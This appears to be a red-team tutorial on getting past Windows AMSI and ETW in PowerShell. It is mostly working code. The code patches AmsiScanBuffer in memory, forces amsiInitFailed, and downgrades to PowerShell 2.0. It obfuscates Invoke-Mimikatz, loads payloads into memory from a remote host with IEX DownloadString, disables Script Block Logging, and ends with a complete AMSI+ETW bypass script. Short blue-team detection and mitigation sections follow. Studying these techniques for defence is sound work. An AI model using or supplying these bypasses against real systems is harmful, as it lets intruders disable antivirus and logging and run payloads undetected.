What is AMSI?

AMSI (Antimalware Scan Interface) is a Windows API introduced in Windows 10 that allows applications to send content to antivirus solutions for real-time scanning before execution.

The flow works like this:

  1. PowerShell receives a script or command
  2. Before executing, it calls AmsiScanBuffer() or AmsiScanString() via amsi.dll
  3. The registered AV/EDR scans the content
  4. If malicious → blocked. If clean → execution proceeds
PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block

Every PowerShell session loads amsi.dll into the process. The goal of bypasses is to neutralize this DLL before executing offensive payloads.

> WARNING: These techniques are for use in authorized environments only (pentest, red team, lab). Unauthorized use is a crime.

Technique 1 — AmsiScanBuffer Patch via Reflection

The most classic technique: use .NET Reflection to locate and patch the AmsiScanBuffer function in memory, making it always return AMSI_RESULT_CLEAN.

# AMSI Patch via Reflection — classic
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$Lib  = [Win32]::LoadLibrary("amsi.dll")
$Addr = [Win32]::GetProcAddress($Lib, "AmsiScanBuffer")

# Patch: mov eax, 0x80070057 ; ret
$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$Old   = 0

[Win32]::VirtualProtect($Addr, [UIntPtr]5, 0x40, [ref]$Old) | Out-Null

$Marshal = [System.Runtime.InteropServices.Marshal]
$Marshal::Copy($Patch, 0, $Addr, 6)

After running this in the session, AMSI is disabled for the current process.

Technique 2 — Force Error via AmsiInitFailed

A more stealthy approach: use Reflection to set the private field amsiInitFailed in the context of the current session, making PowerShell believe that AMSI failed to initialize.

# AmsiInitFailed — force initialization failure
$a = [Ref].Assembly.GetTypes() | Where-Object {
    $_.Name -like '*Am*i*'
}

$b = $a | ForEach-Object {
    $_.GetFields('NonPublic,Static') | Where-Object {
        $_.Name -like '*ailed*'
    }
}

$b.SetValue($null, $true)

This method is often detected by modern EDRs because the string amsiInitFailed has become a signature. Use obfuscation:

# Obfuscated version with string concatenation
$x = 'Am' + 'si' + 'Utils'
$y = 'am' + 'si' + 'Init' + 'Failed'

$t = [Ref].Assembly.GetType("System.Management.Automation.$x")
$f = $t.GetField($y, 'NonPublic,Static')
$f.SetValue($null, $true)

Technique 3 — Patch with Marshal.WriteInt32

Variation of the direct patch, using Marshal.WriteInt32 without needing custom P/Invoke:

# Bypass via Marshal without Add-Type
$a = [System.Runtime.InteropServices.Marshal]
$b = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$c = $b.GetField('amsiContext', 'NonPublic,Static')
$d = $c.GetValue($null)

# Corrupts the AMSI context
$a::WriteInt32([IntPtr]($d.ToInt64() + 0x8), 0)

Technique 4 — Downgrade to PowerShell 2.0

PowerShell 2.0 does not implement AMSI. If it is still installed on the system:

# Checks if PS 2.0 is available
powershell -version 2 -Command "$PSVersionTable"

# Executes payload in PS 2.0 context (without AMSI)
powershell -version 2 -ExecutionPolicy Bypass -File payload.ps1
# Checks for .NET 2.0/3.5 installation (required for PS 2.0)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

> Note: Many modern environments have PS 2.0 disabled via GPO. Check before attempting.

Technique 5 — String Obfuscation (Signature Evasion)

Instead of patching AMSI, avoid triggering it. Strings known as amsiInitFailed, AmsiScanBuffer, Invoke-Mimikatz trigger signatures. Use obfuscation:

# Simple concatenation
$cmd = 'Invoke' + '-' + 'Mi' + 'mi' + 'katz'
IEX $cmd

# Base64 encoding
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Invoke-Mimikatz'))
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))

# SecureString (less common but effective)
$s = 'amsiInitFailed'
$secure = ConvertTo-SecureString $s -AsPlainText -Force
$plain  = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
    [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure)
)

Technique 6 — Loading via WebRequest (In-Memory)

Load payloads directly into memory without touching the disk, minimizing detection surface:

# Bypass + in-memory loading
# 1. Disable AMSI first
# 2. Load remote assembly without writing to disk

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10/bypass.ps1')

# Or via IWR
$r = Invoke-WebRequest -Uri 'http://192.168.1.10/payload.ps1' -UseBasicParsing
IEX $r.Content

# .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData('http://192.168.1.10/tool.dll')
[Reflection.Assembly]::Load($bytes)

EDR Detection and Workarounds

Modern EDRs monitor beyond AMSI:

Detection VectorEvasion Technique
String SignaturesObfuscation, encoding, concatenation
Script Block LoggingPatch ScriptBlockLoggingEnabled via registry
ETW (Event Tracing)Patch EtwEventWrite in ntdll.dll
Constrained Language ModeBypass via COM, Add-Type, runspaces
WLDP (WDAC)More advanced process injection techniques
# Disable Script Block Logging (requires permission or CLM bypass)
$key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Set-ItemProperty -Path $key -Name 'EnableScriptBlockLogging' -Value 0

Complete Script: AMSI + ETW Bypass

#!/usr/bin/env pwsh
# amsi_etw_bypass.ps1 — AMSI + ETW neutralization
# Usage: . .\amsi_etw_bypass.ps1

function Invoke-AmsiBypass {
    try {
        $a = [Ref].Assembly.GetType(
            'System.Management.Automation.' + 'Am' + 'siUtils'
        )
        $b = $a.GetField('am' + 'siInit' + 'Failed', 'NonPublic,Static')
        $b.SetValue($null, $true)
        Write-Host "[+] AMSI     : disabled" -ForegroundColor Green
    } catch {
        Write-Host "[-] AMSI bypass failed: $_" -ForegroundColor Red
    }
}

function Invoke-ETWBypass {
    try {
        $patch = [Byte[]](0xC3) # ret
        $addr  = [System.Diagnostics.Eventing.EventProvider].GetField(
            'm_etwCallback',
            'NonPublic,Instance'
        )
        
        # P/Invoke to VirtualProtect + patch EtwEventWrite
        $ntdll    = [System.Runtime.InteropServices.Marshal]
        $kernel32 = Add-Type -MemberDefinition @'
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(
    IntPtr lpAddress, UIntPtr dwSize,
    uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string name);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string name);
'@ -Name 'K32' -PassThru

        $lib  = $kernel32::LoadLibrary("ntdll.dll")
        $func = $kernel32::GetProcAddress($lib, "EtwEventWrite")
        $old  = [uint32]0
        $kernel32::VirtualProtect($func, [UIntPtr]1, 0x40, [ref]$old) | Out-Null
        [System.Runtime.InteropServices.Marshal]::WriteByte($func, 0xC3)
        
        Write-Host "[+] ETW      : patched" -ForegroundColor Green
    } catch {
        Write-Host "[!] ETW bypass skipped: $_" -ForegroundColor Yellow
    }
}

Invoke-AmsiBypass
Invoke-ETWBypass
Write-Host "[*] Session ready. OPSEC level: reduced." -ForegroundColor Cyan

Detection by the Defender Side

If you are the Blue Team, monitor:

  • Event ID 4104 — Script Block Logging (PowerShell)
  • Event ID 4688 — Process creation with powershell.exe -version 2
  • Sysmon Event 10 — Process access to amsi.dll
  • Loading of System.Management.Automation via Reflection
  • Presence of strings such as AmsiScanBuffer, amsiInitFailed, VirtualProtect in logs
# Blue Team: check if AMSI is active in the session
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    .GetField('amsiInitFailed','NonPublic,Static')
    .GetValue($null)
# $false = AMSI active | $true = AMSI compromised

Mitigations

  • Enable PowerShell Constrained Language Mode via WDAC/AppLocker
  • Disable PowerShell 2.0 (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root)
  • Enable Script Block Logging and Module Logging (GPO)
  • Use EDR with memory protection (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
  • Monitor ETW providers for PowerShell: Microsoft-Windows-PowerShell
  • Implement JEA (Just Enough Administration) to restrict available commands

References